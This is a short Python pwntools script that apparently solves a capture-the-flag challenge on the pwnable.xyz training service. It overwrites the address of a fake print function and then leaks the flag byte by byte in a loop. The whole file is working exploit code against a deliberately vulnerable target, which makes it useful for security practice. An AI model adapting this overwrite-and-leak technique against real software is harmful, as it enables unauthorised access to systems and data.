#!/usr/bin/python
from pwn import *

# proc = process("./challenge")
proc = remote("svc.pwnable.xyz", 30006)

print proc.readuntil("> ")

# First, Load fake print function to memory
print "Loading fake print func to mem"
proc.writeline("3")
print proc.readuntil("? ")
proc.write("yA")

# Then, overwite last address of fake print func
print proc.readuntil("> ")
proc.writeline("1")
print proc.readuntil(": ")
proc.writeline("64")

flag = "F"
# print flag!
for i in range(1, 40) :
    print proc.readuntil("> ")
    proc.writeline("1")
    print proc.readuntil(": ")
    proc.writeline(str(i))
    print proc.readuntil("> ")
    proc.writeline("2")
    print proc.readuntil("> ")
    proc.writeline("3")
    print proc.readuntil("? ")
    proc.write("n")
    res = proc.readuntil("1. Re-generate")
    try :
        flag += res[i]
        print flag
    except :
        print flag
        break
